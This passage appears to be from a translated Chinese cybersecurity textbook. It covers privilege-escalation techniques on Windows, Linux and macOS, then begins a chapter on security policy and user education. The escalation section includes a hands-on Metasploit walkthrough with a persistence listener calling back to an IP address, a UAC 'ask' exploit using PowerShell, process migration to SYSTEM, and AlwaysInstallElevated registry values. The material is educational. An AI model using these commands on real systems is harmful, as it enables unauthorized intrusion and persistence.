在水平权限升级中,攻击者使用一个普通账户访问其他用户的账户。这是一个简单的过程,因为攻击者并不主动寻求提升账户的权限,而是这些权限被授予给他。因此,在这种类型的权限升级中,攻击者不需要使用工具来提升账户权限。水平权限升级有两种主要方式。第一种是通过软件漏洞,在这种情况下,由于系统编码的错误,普通用户能够查看和访问其他用户的文件。如同所见,攻击者没有使用任何工具,但却能够访问那些本应受到普通用户保护的文件。

另一种情况是,攻击者侥幸攻破了管理员账户。在这种情况下,攻击者无需使用黑客工具和技术来提升被攻破账户的权限。因为该账户已经拥有管理员级别的权限,攻击者可以通过创建其他管理员级用户或直接使用已经攻破的账户来继续进行攻击。水平权限升级攻击通常通过在黑客攻破系统时窃取登录凭证的工具和技术来实现。在关于系统入侵的章节中,讨论了多种工具,展示了黑客如何恢复密码、从用户那里窃取密码或直接破解账户。在对黑客来说较为幸运的情况下,被攻破的用户账户属于具有高级权限的用户。因此,他们无需经历升级账户的困难。

垂直权限升级

另一种权限升级类型是垂直权限升级。它包含了更为复杂的权限升级技术,并包括使用黑客工具。尽管这种方法复杂,但并非不可能,因为攻击者需要执行管理员级别或内核级别的操作,才能非法提升访问权限。垂直权限升级虽然更加困难,但也更具回报,因为攻击者可以在系统中获得系统权限。一个系统用户拥有比管理员更多的权限,因此能够造成更大的破坏。攻击者也更有可能在保持未被检测到的情况下,长期驻留并在网络系统中执行操作。拥有超级用户权限后,攻击者可以执行管理员无法阻止或干预的操作。垂直权限升级的技术因系统而异。在 Windows 中,一种常见的做法是通过缓冲区溢出来实现垂直权限升级。这已经在一个名为 EternalBlue 的工具中得到验证,该工具据称是 NSA 拥有的黑客工具之一。不过,该工具已经被一个名为 Shadow Brokers 的黑客组织公开。

在 Linux 中,垂直权限提升是通过允许攻击者获得 root 权限来修改系统和程序。在 Mac 中,垂直权限提升是通过称为越狱的过程完成的,允许黑客执行之前不被允许的操作。这些操作是制造商限制用户执行的,目的是保护设备和操作系统的完整性。垂直权限提升也可以在基于 Web 的工具上进行。通常是通过利用后端代码中的漏洞。有时,系统开发人员在不知情的情况下留下了可以被黑客利用的渠道,尤其是在提交表单时。

避免警报

就像在前面的阶段一样,黑客的目标是避免引发任何警报,表明受害系统已被入侵。尤其是在这个阶段,检测会非常昂贵,因为这意味着攻击者所做的所有努力都会付诸东流。因此,在进行此阶段之前,黑客通常会先禁用安全系统(如果可能)。权限提升的方法也相当复杂。大多数时候,攻击者必须创建包含恶意指令的文件,而不是使用工具对系统执行恶意操作。

大多数系统的编码仅允许合法的服务和进程获得特权。因此,攻击者会尝试危害这些服务和进程,以便获得执行更高权限的机会。黑客使用暴力破解方式获得管理员权限是有挑战的,因此他们通常选择最小阻力路径。如果这意味着创建与系统认定为合法的文件相同的文件,他们也会这么做。

避免警报的另一种方法是使用合法工具来执行攻击。如前几章所提到的,由于其强大功能,PowerShell 作为黑客工具的使用正在增加,而且许多系统不会触发警报,因为这是一个有效的、内置的操作系统工具。

执行权限提升

权限提升可以通过多种方式完成,具体取决于黑客的技能水平和权限提升过程的预期结果。在 Windows 中,管理员访问权限应该很少,普通用户不应拥有系统的管理员访问权限。然而,有时为了让远程用户能够进行故障排除并解决一些问题,给予他们管理员访问权限是必要的。这是系统管理员需要关注的事情。给予远程用户管理员访问权限时,管理员应谨慎确保这种权限不会被用来进行权限提升。当组织中的普通员工拥有管理员权限时,存在一定的风险,他们可能会为网络打开多个攻击路径。

首先,恶意用户也可以利用这一访问权限提取密码哈希值,之后可以用来恢复实际密码,或通过“传递哈希”直接在远程攻击中使用。这在第七章中已经有过详尽的讨论,横向移动。另一个威胁是他们可以利用自己的系统进行数据包捕获。他们还可以安装可能是恶意的软件。最后,他们还可能干扰注册表。因此,假设将管理员权限赋予用户是不好的。

由于管理员权限是严格保护的特权,攻击者通常需要使用多种工具和技术才能获得这一权限。苹果电脑在安全性方面有着相对更可靠的操作系统。然而,攻击者已发现多种方法可以在 OS X 中进行权限提升。

以下是一些常见的权限提升方法。

利用未打补丁的操作系统

和许多操作系统一样,Windows 会监控黑客可能利用的漏洞,并不断发布补丁来修复这些漏洞。然而,一些网络管理员未能及时安装这些补丁,有的管理员甚至完全忽视了补丁更新。因此,攻击者很可能会找到没有打补丁的机器。黑客使用扫描工具来获取网络中设备的信息,识别出那些没有打补丁的设备。可以用来扫描的工具在侦察章节中已有讨论,其中最常用的两个工具是 Nessus 和 Nmap。识别出没有打补丁的机器后,黑客可以在 Kali Linux 中查找可以利用的漏洞。Searchsploit 会包含可用于未打补丁计算机的相应漏洞。一旦找到漏洞,攻击者将入侵系统。攻击者随后会使用名为 PowerUp 的工具绕过 Windows 权限管理,将脆弱机器上的用户权限提升为管理员。

如果攻击者想避免使用扫描工具来验证当前系统状态(包括补丁),可以使用名为wmic的 WMI 命令行工具来获取已安装的更新列表,如下所示:

另一种选择是使用 PowerShell 命令get-hotix

访问令牌操控

在 Windows 中,所有进程都是由某个用户启动的,系统知道该用户的权限和特权。Windows 通常使用访问令牌来确定所有正在运行的进程的所有者。这种特权提升技术被用来让进程看起来像是由与实际启动者不同的用户启动的。Windows 管理管理员权限的方式被利用了。操作系统将管理员用户登录为普通用户,但随后以管理员权限执行他们的进程。Windows 使用以管理员身份运行命令,以管理员权限执行进程。因此,如果攻击者能够欺骗系统,使其相信进程是由管理员启动的,这些进程将不受干扰地以完全的管理员权限运行。

访问令牌操控发生在攻击者巧妙地使用 Windows 内建的 API 函数从现有进程中复制访问令牌时。它们专门针对由管理员用户启动的进程。当攻击者将管理员的访问令牌粘贴到 Windows 中,并启动一个新进程时,该进程将以管理员权限执行。访问令牌操控也可以发生在黑客知道管理员凭证的情况下。这些凭证可以通过不同类型的攻击窃取,然后用于访问令牌操控。Windows 提供了以管理员身份运行应用程序的选项。为了实现这一点,Windows 会要求用户输入管理员登录凭证,以便以管理员权限启动程序/进程。

最后,访问令牌操控也可能发生,当攻击者使用窃取的令牌来验证远程系统进程时,只要被窃取的令牌在远程系统上具有相应的权限。

访问令牌操控在 Metasploit 中得到了广泛应用,Metasploit 是一个黑客和渗透测试工具,在第五章《破坏系统》中有详细讨论。Metasploit 具有一个 Meterpreter 有效载荷,可以执行令牌窃取,并使用被窃取的令牌以提升的权限运行进程。Metasploit 还有一个名为The Cobalt Strike的有效载荷,同样利用令牌窃取。该有效载荷能够窃取并创建自己的令牌,并且这些令牌具有管理员权限。该类型的特权提升方法的底线是,攻击者利用一个原本合法的系统。从某种意义上说,这可以视为攻击者的防御回避手段。

利用可访问性功能

Windows 有多个辅助功能,旨在帮助用户更好地与操作系统互动,特别是关注有视觉障碍的用户。这些功能包括:放大镜、屏幕键盘、显示切换和旁白。这些功能被方便地放置在 Windows 登录屏幕上,以便用户在登录的瞬间就能得到支持。然而,攻击者可以操纵这些功能,通过创建一个后门来绕过身份验证登录系统。这是一个相对简单的过程,并且可以在几分钟内完成。攻击者需要先通过 Linux LiveCD 攻破一台 Windows 计算机。这个工具将允许攻击者用临时的 Linux 桌面操作系统启动计算机。一旦进入计算机,包含 Windows 操作系统的驱动器将变得可见且可编辑。所有这些辅助功能都作为可执行文件存储在System32文件夹中。因此,黑客将删除其中一个或多个功能,并用命令提示符或后门替换它们。一旦替换完成,黑客退出后,当 Windows 操作系统启动时,一切看起来都会正常。然而,攻击者将有一种绕过登录提示的方法。当操作系统显示密码提示时,攻击者只需点击任何一个辅助功能并启动命令提示符。

将显示的命令提示符将以系统访问权限执行,这是 Windows 机器上最高级别的权限。攻击者可以使用命令提示符执行其他任务。它可以打开浏览器、安装程序、创建具有权限的新用户,甚至安装后门。攻击者还可以做的一件更独特的事情是,通过在命令提示符中输入命令explorer.exe来启动 Windows 资源管理器。Windows 资源管理器将会在攻击者甚至没有登录的计算机上打开,并以系统用户身份打开。这意味着攻击者可以在机器上自由操作,无需作为管理员登录。这种特权提升的方法非常有效,但它要求攻击者必须具有物理访问目标计算机的权限。因此,这通常由内部威胁或通过社会工程学进入组织的恶意行为者执行。

应用程序修补

应用修复程序是 Windows 应用兼容性框架的一部分,该框架是 Windows 为了允许程序在它们最初未被设计运行的操作系统版本上运行而创建的。大多数曾经在 Windows XP 上运行的应用程序如今可以在 Windows 10 上运行,正是因为有了这个框架。该框架的工作原理非常简单:它创建一个修复程序,作为遗留程序与操作系统之间的缓冲层。在程序执行过程中,修复程序缓存会被引用,以了解是否需要使用修复程序数据库。如果需要,修复程序数据库将使用 API 来确保程序的代码被有效地重定向,从而与操作系统进行通信。由于修复程序直接与操作系统进行通信,Windows 决定增加一项安全功能,即它们被设计为在用户模式下运行。

在没有管理员权限的情况下,修复程序无法修改内核。然而,攻击者已能够创建自定义修复程序,绕过用户帐户控制,将 DLL 注入正在运行的进程,并干扰内存地址。这些修复程序可以使攻击者以提升的权限运行他们自己的恶意程序。它们还可以用来关闭安全软件,特别是 Windows Defender。

下图展示了针对新版 Windows 操作系统使用自定义修复程序的示例:

查看一个修复程序如何创建的例子是很有帮助的。首先,你需要从 Microsoft 应用兼容性工具包中启动兼容性管理员。

下图展示了 Microsoft 的应用兼容性工具包(12)^:

接下来,你需要在“自定义数据库”中创建一个新数据库,方法是右键点击“新建数据库”(1)选项并选择创建一个新的应用修复程序。

下图展示了创建新应用修复程序的过程(12):

下一步是提供你想为其创建修复程序的特定程序的详细信息:

接下来,你需要选择修复程序所要创建的 Windows 版本。在选择了 Windows 版本后,会显示针对该特定程序的多个兼容性修复。你可以自由选择你需要的修复:

点击“下一步”后,你选择的所有修复将显示出来,你可以点击“完成”来结束此过程。修复程序将被存储在新数据库中。要应用它,你需要右键单击新数据库并点击“安装”。完成后,程序将按照你在修复程序中选择的所有兼容性修复来运行:

绕过用户帐户控制

Windows 有一个结构良好的机制,用于控制网络中和本地计算机上所有用户的权限。它具有 Windows 用户帐户控制(UAC)功能,充当普通用户和管理员级用户之间的网关。Windows 的 UAC 功能用于授予程序权限,提升其权限,并以管理员权限运行。因此,Windows 总是提示用户允许程序以这种访问级别执行。值得注意的是,只有管理员用户才能允许程序以这些权限运行。因此,普通用户将被拒绝允许程序以管理员权限执行。

这看起来像是一个无懈可击的机制,只有管理员才能允许程序以提升的权限运行,因为他们可以轻松分辨出恶意程序和正常程序。然而,这个保护系统的机制中还是有一些漏洞。某些 Windows 程序允许提升权限或执行没有提示用户的 COM 对象。

例如,rundl32.exe用于加载一个自定义 DLL,该 DLL 加载一个具有提升权限的 COM 对象。它执行文件操作,即使是在通常需要用户拥有提升权限的受保护目录中。这样就为了解 UAC 机制并进行破坏的攻击者提供了机会。用于允许 Windows 程序无认证地运行的相同过程,也可以允许恶意软件以管理员权限运行。攻击者可以将恶意进程注入到一个受信任的进程中,从而获得以管理员权限运行恶意进程的优势,而不需要提示用户。

黑帽黑客发现了其他方法可以绕过 UAC(用户帐户控制)。GitHub 上发布了许多可能被用来对付 UAC 的方法。其中之一是eventvwr.exe,由于它通常在运行时会自动提升权限,因此可以被注入特定的二进制代码或脚本,从而受到攻击。另一种绕过 UAC 的方法是直接窃取管理员凭证。UAC 机制被认为是一个单一的安全系统,因此,一个计算机上运行的进程的权限对横向系统是未知的。因此,利用管理员凭证启动具有高级权限的进程的攻击者很难被抓到。

为了绕过 Windows 7 中的 UAC,你还可以使用uacscript,可以从github.com/Vozzie/uacscript下载。

DLL 注入

DLL 注入是攻击者使用的另一种特权提升方法。它还涉及到对 Windows 操作系统中合法进程和服务的危害。DLL 注入用于在合法进程的上下文中运行恶意代码。通过利用被认为是合法的进程上下文,攻击者获得了多个优势,尤其是能够访问进程的内存和权限。攻击者的行为也被合法进程所掩盖。最近发现了一种相当复杂的 DLL 注入技术,称为 反射 DLL 注入(13)。它更有效,因为它在不进行常规 Windows API 调用的情况下加载恶意代码,从而绕过 DLL 加载监控(13)。它使用一种巧妙的过程,将恶意库从内存加载到正在运行的进程中。与常规 DLL 注入过程不同,反射 DLL 注入没有从路径加载恶意 DLL 代码,这一过程不仅会创建外部依赖,还会降低攻击的隐蔽性,而反射 DLL 注入则将恶意代码以原始数据的形式来源。这种方法更难被检测到,即使在受到适当保护的安全软件的计算机上也一样。攻击者利用 DLL 注入攻击修改 Windows 注册表、创建线程以及进行 DLL 加载等操作。这些都是需要管理员权限的行为,但攻击者通过绕过这些权限悄悄执行。

以下图示简要说明了 DLL 注入的工作原理:

需要记住的是,DLL 注入不仅仅用于特权提升。以下是一些使用 DLL 注入技术的恶意软件示例,它们要么危害系统,要么传播到其他系统:

  • Backdoor.Oldrea:将自身注入到 explore.exe 进程中

  • BlackEnergy:作为 DLL 注入到 svchost.exe 进程中

  • Duqu:将自身注入到多个进程中以避免被检测

DLL 搜索顺序劫持

DLL 搜索顺序劫持是另一种技术,用于危害 DLL 并允许攻击者提升其权限,从而推动攻击的进行。在这一技术中,攻击者试图将合法 DLL 替换为恶意 DLL。由于程序存储 DLL 的位置容易被识别,攻击者可能会将恶意 DLL 放置在搜索路径中的前面位置。因此,当 Windows 在正常位置搜索某个 DLL 时,它会找到一个具有相同名称的 DLL 文件,但它并非合法的 DLL。通常,这种类型的攻击发生在将 DLL 存储在远程位置的程序中,例如 Web 共享。这样,DLL 就更容易暴露给攻击者,他们不再需要物理接触计算机就能危害硬盘上的文件。

另一种 DLL 搜索顺序劫持的方法是修改程序加载 DLL 的方式。在这种情况下,攻击者修改清单本地方向文件,导致程序加载一个不同于预期的 DLL。攻击者可以将程序重定向为始终加载恶意 DLL,这将导致持续的特权提升。攻击者还可以在受损程序行为异常时,将路径改回合法的 DLL。目标程序通常是以较高权限运行的程序。当这种方法应用到合适的程序时,攻击者基本上可以将特权提升为系统用户,从而访问更多的资源。

DLL 劫持比较复杂,需要小心谨慎地防止受害程序出现异常行为。如果发生了不幸(或幸运)的情况,用户意识到应用程序行为异常时,他或她可以直接卸载该程序。这样就可以有效阻止 DLL 劫持攻击。

下面的图示展示了搜索顺序劫持的示例,其中攻击者将一个恶意 DLL 文件放置在合法 DLL 文件的搜索路径上:

Dylib 劫持

Dylib 劫持是一种针对苹果电脑的攻击方法。使用苹果 OS X 操作系统的计算机采用类似的搜索方法来查找应该加载到程序中的动态库。该搜索方法同样基于路径,就像在 DLL 劫持中所看到的那样,攻击者可以利用这些路径进行特权提升。攻击者通过研究特定应用程序使用的 dylib,并将一个名称相似的恶意版本放在搜索路径的前面。因此,当操作系统在查找应用程序的 dylib 时,它会首先找到恶意的那个。如果目标程序以比计算机用户更高的权限运行,当它启动时,特权将自动提升。在这种情况下,它还会为恶意 dylib 创建管理员级别的访问权限。

下图展示了 dylib 劫持的过程,攻击者将一个恶意 dylib 放置在搜索路径中:

漏洞探索

漏洞探索是目前少数几种横向权限提升方式之一。由于系统的编码和安全性要求非常严格,横向权限提升的案例通常较少。此类权限提升发生在存在编程错误的系统和程序中。这些编程错误可能会引入漏洞,攻击者可以利用这些漏洞绕过安全机制。一些系统会接受某些短语作为所有用户的密码。这可能是一个编程错误,允许系统开发人员快速访问系统。然而,攻击者可能会迅速发现这个缺陷,并利用它访问拥有高权限的用户账户。其他编程错误可能允许攻击者在基于网页的系统的 URL 中更改用户的访问权限。在 Windows 中,曾有一个编程错误,允许攻击者使用普通域用户权限创建带有域管理员权限的 Kerberos 票证。这个漏洞被称为MS14-068。尽管系统开发人员可能非常小心,但这些错误有时还是会出现,并为攻击者提供了快速提升权限的途径。

有时,攻击者会利用操作系统的工作原理来利用一个未知的漏洞。

一个经典的例子是使用注册表键AlwaysInstallElevated,该键存在于系统中(设置为 1),并允许以提升(系统)权限安装 Windows 安装程序包。为了使此键被认为是启用的,以下值应设置为 1:

[HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller] 
"AlwaysInstallElevated"=dword:00000001 
[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] 
"AlwaysInstallElevated"=dword:00000001 

攻击者可以使用reg查询命令来验证此键是否存在;如果不存在,将会显示以下消息:

这听起来可能无害,但如果深入思考,你会发现问题所在。你实际上是在给普通用户提供系统级权限来执行一个安装程序。如果这个安装包包含恶意内容怎么办?游戏结束!

启动守护进程

使用启动守护进程是另一种适用于基于 Apple 的操作系统(尤其是 OS X)的特权升级方法。当 OS X 启动时,launchd通常会运行以完成系统初始化。该进程负责加载来自plist文件的守护进程参数,这些文件位于/Library/LaunchDaemons目录中。守护进程有属性列表文件,指向要自动启动的可执行文件。攻击者可能利用这个自动启动过程来进行特权升级。他们可以安装自己的启动守护进程,并通过已启动的进程将其配置为在启动过程中启动。攻击者的守护进程可能会被赋予与操作系统或应用程序相关的伪装名称。启动守护进程是以管理员权限创建的,但它们以 root 权限执行。因此,如果攻击者成功,他们将能够使自己的守护进程自动启动,并将特权从管理员提升到 root。可以注意到,攻击者再次依赖一个原本合法的进程来执行特权升级。

Windows 8 目标上特权升级的实际操作示例

该实际操作示例适用于 Windows 8,并且据报道在 Windows 10 上也有效。它利用了一些已经讨论过的技术,即 PowerShell 和 Meterpreter。这是一种狡猾的技术,迫使目标机器的用户在不知情的情况下允许合法程序运行,从而进行特权升级。因此,实际上是用户在不知情的情况下允许恶意行为者升级其特权。整个过程从 Metasploit 开始,特别是在 Meterpreter 中。首先使用 Meterpreter 与目标建立会话。攻击者利用这个会话向目标发送命令并有效地控制目标。

以下是一个名为persistence的脚本,攻击者可以用它与远程目标建立会话。该脚本在受害者的系统上创建一个持久化监听器,该监听器在启动时自动运行。

它的写法如下:

meterpreter >run persistence -A -L c:\ -X 30 -p 443 -r 10.108.210.25 

该命令在目标系统(A)上启动一个处理程序,将 Meterpreter 放置在受害者机器的C盘(L c:\),并指示监听器在启动时运行(X),每 30 秒检查一次(i 30),并连接到受害者 IP 地址的443端口。攻击者可以通过向目标机器发送reboot命令并观察其行为,检查连接是否简单。

reboot命令如下:

Meterpreter> reboot 

如果对连接满意,攻击者可以将会话转入后台并开始特权升级尝试。Meterpreter 将在后台运行该会话,并允许 Metasploit 执行其他漏洞攻击。

以下命令在 Metasploit 终端中发出:

Msf exploit (handler)> Use exploit/windows/local/ask 

这是一个适用于所有版本 Windows 的命令。它的作用是请求目标计算机上的用户在不知情的情况下提升攻击者的执行级别。用户必须在屏幕上点击一个看起来不怀疑的提示,允许运行某个程序。如果用户同意,则权限提升尝试成功;否则,尝试失败。因此,攻击者必须要求用户允许运行一个合法程序,而这就是 PowerShell 发挥作用的地方。因此,攻击者需要通过 PowerShell 设置 ask 技术。具体操作如下:

Msf exploit(ask)> set TECHNIQUE PSH 
Msf exploit(ask)> run 

在此时,目标用户的屏幕上会弹出一个提示,要求他们允许运行 PowerShell,这是一个完全合法的 Windows 程序。在大多数情况下,用户会点击“确定”。在获得此权限后,攻击者可以使用 PowerShell 从普通用户身份迁移到系统用户身份,具体如下:

Meterpreter> migrate 1340 

因此,1340 被列为 Metasploit 中的系统用户。当这一过程成功时,攻击者将成功获得更多权限。检查攻击者所拥有的权限应该会显示他们既拥有管理员权限,也拥有系统权限。然而,1340 管理员用户仅具有四个 Windows 权限,这不足以进行大规模攻击。因此,攻击者必须进一步提升其权限,以便获得足够的权限来执行更多恶意操作。攻击者接下来可以迁移到 3772,即 NT AuthoritySystem 用户。这可以通过以下命令实现:

 Meterpreter> migrate 3772

攻击者仍然拥有管理员和 root 用户权限,并且还会获得额外的 Windows 权限。这些额外的权限有 13 项,可以让攻击者使用 Metasploit 对目标执行各种操作。

结论与经验总结

本章讨论了攻击过程中最复杂的阶段之一。尽管如此,并非所有使用的技术都很复杂。正如前面所说,有两种技术:水平权限提升和垂直权限提升。一些攻击者会使用水平权限提升方法,因为它们工作量较小且更容易执行。然而,经验丰富的黑客会使用垂直权限提升方法,因为他们对目标系统有很好的了解。本文介绍了一些这些权限提升方法。通过大多数方法可以看出,黑客必须针对合法进程和服务进行攻击,才能提升权限。这是因为大多数系统都是基于最小权限原则构建的。用户只会被授予完成其职责所需的最低权限。只有合法的服务和进程才会被授予高级权限,因此,攻击者通常需要妥协这些服务和进程。

参考资料

  1. A. Gouglidis, I. Mavridis 和 V. C. Hu,云系统中多域安全策略验证,《国际信息安全杂志》,第 13 卷,第 2 期,第 97-111 页,2014 年。可用:search.proquest.com/docview/1509582424\. DOI: http://dx.doi.org/10.1007/s10207-013-0205-x

  2. T. Sommestad 和 F. Sandström,攻击图分析工具准确性的实证测试,《信息与计算机安全》,第 23 卷,第 5 期,第 516-531 页,2015 年。可用:search.proquest.com/docview/1786145799

  3. D. A. Groves,通过隔离提高工业控制系统安全性:一个危险的神话,《美国水务协会期刊》,第 103 卷,第 7 期,第 28-30 页,2011 年。可用:search.proquest.com/docview/878745593

  4. P. Asadoorian,Windows 权限提升技巧(本地) - 安全周刊 #2 - 安全周刊,安全周刊,2017 年。[在线]. 可用:securityweekly.com/2017/05/18/windows-privilege-escalation-techniques-local-tradecraft-security-weekly-2/。[访问日期:2017 年 8 月 16 日]。

  5. C. Perez,Meterpreter 令牌操作,Shell 只是一个开始,2017 年。[在线]. 可用:www.darkoperator.com/blog/2010/1/2/meterpreter-token-manipulation.html。[访问日期:2017 年 8 月 16 日]。

  6. S. Knight,利用漏洞让命令提示符在 Windows 7 登录屏幕启动,《TechSpot》,2017 年。[在线]. 可用:www.techspot.com/news/48774-exploit-allows-command-prompt-to-launch-at-windows-7-login-screen.html。[访问日期:2017 年 8 月 16 日]。

  7. 应用程序补丁技术,Attack.mitre.org,2017 年。[在线]. 可用: attack.mitre.org/wiki/Technique/T1138。[访问日期:2017 年 8 月 16 日]。

  8. 绕过用户帐户控制,Attack.mitre.org,2017 年。[在线]. 可用:attack.mitre.org/wiki/Technique/T1088。[访问日期:2017 年 8 月 16 日]。

  9. DLL 注入,Attack.mitre.org,2017 年。[在线]. 可用:attack.mitre.org/wiki/Technique/T1055。[访问日期:2017 年 8 月 16 日]。

  10. DLL 劫持攻击重访,信息安全资源,2017 年。[在线]. 可用: resources.infosecinstitute.com/dll-hijacking-attacks-revisited/。[访问日期:2017 年 8 月 16 日]。

  11. Dylib-Hijacking Protection,Paloaltonetworks.com,2017 年。[在线]。可用链接:www.paloaltonetworks.com/documentation/40/endpoint/newfeaturesguide/security-features/dylib-hijacking-protection.html。 [访问日期:2017 年 8 月 16 日]。

  12. T. Newton,Demystifying Shims - or - Using the App Compat Toolkit to make your old stuff work with your new stuffBlogs.technet.microsoft.com,2018 年。[在线]。可用链接:blogs.technet.microsoft.com/askperf/2011/06/17/demystifying-shims-or-using-the-app-compat-toolkit-to-make-your-old-stuff-work-with-your-new-stuff/。 [访问日期:2018 年 1 月 3 日]。

  13. DLL Injection - enterpriseAttack.mitre.org,2018 年。[在线]。可用链接:attack.mitre.org/wiki/Technique/T1055。 [访问日期:2018 年 1 月 3 日]。

摘要

本章已经讲解了特权提升阶段。指出特权提升有两大类:垂直特权提升和水平特权提升。还特别提到,水平特权提升是攻击者所能期望的最佳运气。这是因为水平特权提升所用的方法通常不会太复杂。已经讨论了攻击者针对系统使用的许多复杂的垂直特权提升方法。值得注意的是,所讨论的大多数技术都涉及通过妥协合法服务和进程以获得更高权限的尝试。这可能是攻击者在整个攻击过程中必须执行的最后一个任务。

下一章将解释攻击者如何发起最后一击,并且如果成功,他们将如何收获努力的成果。

第九章:安全策略

从第三章,了解网络安全杀伤链,到第八章,权限提升,我们涵盖了攻击策略,以及红队如何通过利用常见的攻击技术来增强组织的安全姿态。现在是时候转变思路,从防御的角度来看待事物了。开始讨论防御策略没有其他方式,除了从安全策略开始。一套良好的安全策略对于确保整个公司遵循一套明确定义的基本规则至关重要,这将有助于保护其数据和系统。

在本章中,我们将涵盖以下主题:

  • 审查您的安全策略

  • 教育最终用户

  • 政策执行

  • 监控合规性

审查您的安全策略

或许第一个问题应该是——“您是否已经制定了安全策略?”即使答案是“是”,您仍然需要继续询问这些问题。下一个问题是——“您是否执行这项政策?”同样,即使答案是“是”,您也必须追问——您多久审查一次这个安全策略,寻找改进的地方?”好的,现在我们已经到了一个安全地结论的地步,即安全策略是一份活的文件——它需要修订和更新。

安全策略应包括行业标准、程序和指南,这些对支持日常运营中的信息风险至关重要。这些政策还必须有一个明确定义的范围。

安全策略的适用性陈述在哪里适用是至关重要的。

例如,如果适用于所有数据和系统,这必须对所有阅读它的人明确。您必须提出的另一个问题是:“这项政策是否也适用于承包商?”无论答案是“是”还是“否”,都必须在政策的范围部分中说明。

安全策略的基础应该建立在安全三要素(保密性、完整性和可用性)之上。最终,用户需要保护和确保数据和系统中的安全三要素的适用性,这与数据是如何创建、共享或存储无关。用户必须意识到自己的责任,并了解违反这些政策的后果。确保还包括一个指定角色和责任的部分,因为这对问责目的非常重要。

也很重要明确哪些文件涉及整体安全策略,因为不止一个。确保所有用户了解以下文件之间的区别:

  • 政策:这是一切的基础;它设定了高层次的期望。它还将用于指导决策和实现结果。

  • 程序:顾名思义,这是一份具有程序步骤的文件,概述了如何执行某项任务。

  • 标准:这份文件建立了必须遵循的要求。换句话说,每个人都必须遵守之前建立的某些标准。

  • 指导方针:尽管许多人会认为指导方针是可选的,但实际上它们更多是额外的推荐指导。话虽如此,重要的是要注意,每家公司都有权利定义指导方针是可选的,还是推荐的。

  • 最佳实践:顾名思义,这些是整个公司或公司内某些部门应实施的最佳实践。这也可以根据角色来确定——例如,所有 Web 服务器在部署到生产环境之前应该应用供应商的安全最佳实践。

为了确保所有这些点都是同步的、受控的,并且得到高层管理的支持,您需要创建一个全组织范围的安全计划。NIST 800-53 出版物建议以下组织安全控制目标关系:

我们需要一本整本的书来讨论这个图表中的所有元素。因此,如果您想要更多关于这些领域的信息,我们强烈建议您阅读 NIST 800-53 出版物。

对最终用户进行教育

如前图所示,最终用户的教育是管理安全控制的一部分,在意识培训下。也许这是安全计划中最重要的部分之一,因为一个在安全实践上缺乏教育的用户可能会给您的组织造成巨大的损害。

根据 赛门铁克互联网安全威胁报告第 22 卷,垃圾邮件活动是恶意软件感染的主要原因,尽管如今它们依赖于各种策略,但最大的恶意软件垃圾邮件活动仍然依赖社会工程技术。

在同一份报告中,赛门铁克得出结论,2016 年主要恶意软件攻击中最常用的词是“发票”。这是完全合理的,因为想法是吓唬用户,让他们认为自己需要支付某些费用,否则会发生不好的事情。这是一种典型的手段:通过恐吓诱使用户点击会危害系统的链接。另一个用于发动社会工程攻击的平台是社交媒体。2015 年,赛门铁克揭露了在 Twitter 上进行的饮食垃圾邮件操作,使用数十万个冒充合法账户的假账户来建立庞大的关注者群,并通过此传播关于减肥解决方案的虚假宣传。

问题在于许多用户将使用自己的设备访问公司信息,也被称为自带设备BYOD),当他们参与这种虚假社交媒体活动时,他们很容易成为黑客的目标。如果黑客能够入侵用户的系统,他们就很接近获取公司的数据,因为大多数情况下它们并不是隔离的。

所有这些情况只会更加强调教育用户抵御这种攻击的必要性,以及任何其他类型的社会工程攻击,包括对社会工程的物理方法。

用户社交媒体安全指南

在一篇名为社交媒体影响的文章中,由本书的合著者 Yuri Diogenes 撰写并发表在ISSA Journal上,审查了许多社交媒体是社会工程攻击的主要工具的案例。安全计划必须符合人力资源和法律要求,关于公司如何处理社交媒体帖子,同时也给员工指导,告诉他们如何处理自己的社交媒体存在。

在向员工制定如何使用社交媒体的指导方针时,一个棘手的问题是定义适当的商业行为。对于越过这一界限的员工采取纪律行动应该非常明确。2017 年 10 月,在拉斯维加斯大规模枪击事件之后,CBS 副总裁发表了一则评论,暗示“拉斯维加斯受害者不值得同情,因为乡村音乐粉丝通常是共和党人。” 这条在线评论的结果很简单:她因违反公司的行为标准而被解雇。尽管 CBS 迅速为她的行为道歉并通过解雇员工来展示政策执行,但公司仍然受到了这个人的评论的伤害。

随着世界政治紧张局势和社交媒体赋予个人表达思想的自由,这类情况每天都在发生。2017 年 8 月,一名佛罗里达大学教授因在推特上发表言论称得克萨斯应该遭受哈维飓风的袭击,因为他们投票支持特朗普而被解雇。这是另一个员工使用个人推特账户在线发泄并遭受不良后果的例子。通常,公司基于员工在网上不当行为的行为准则做出解雇决定。例如,如果您阅读谷歌行为准则中的外部沟通部分,您将看到谷歌就公开信息披露提出了建议。

另一个重要的指导方针是如何处理诽谤帖子,以及色情帖子,专有问题,骚扰或可能造成敌对工作环境的帖子。这些对于大多数社交媒体指南至关重要,并且表明雇主在促进公司内部社交环境方面是勤勉的。

安全意识培训

安全意识培训应该向所有员工提供,并且应该不断更新以包括新的攻击技术和考虑因素。许多公司通过公司的内部网络在线提供此类培训。如果培训精心设计,具有丰富的视觉功能,并在最后包含自我评估,那么它可能非常有效。理想情况下,安全意识培训应包括:

  • 现实世界的例子:如果展示一个真实场景,用户将更容易记住事物。例如,谈论钓鱼邮件而不展示钓鱼邮件的外观以及如何视觉识别,效果将不是很好。

  • 实践:在培训材料中,文字表达清晰且丰富的视觉元素是重要属性,但您必须让用户参与一些实际场景。让用户与计算机互动,以识别钓鱼攻击或虚假社交媒体活动。

在培训结束时,所有用户应确认他们成功完成了培训,并且他们不仅了解了培训中涵盖的安全威胁和对策,还了解了不遵守公司安全策略的后果。

策略执行

完成安全策略的建立后,就是时候执行了,根据公司的需求,执行将使用不同的技术。理想情况下,您将拥有网络架构图,以充分了解端点是什么,您拥有哪些服务器,信息如何流动,信息存储在哪里,谁有数据访问权限以及应该有数据访问权限,以及网络的不同入口点。

许多公司未能完全执行策略,因为他们只考虑在端点和服务器上执行策略。

那么网络设备呢?这就是为什么您需要一种全面的方法来处理网络中的每个活动组件,包括交换机、打印机和物联网设备。

如果您的公司使用 Microsoft Active Directory,您应该利用组策略对象GPO)来部署您的安全策略。这些策略应根据公司的安全策略进行部署。如果不同部门有不同需求,您可以使用组织单位OUs)对部署进行分段,并为每个 OU 分配策略。

例如,如果属于人力资源部门的服务器需要不同的策略集,您应将这些服务器移至人力资源 OU 并为该 OU 分配自定义策略。

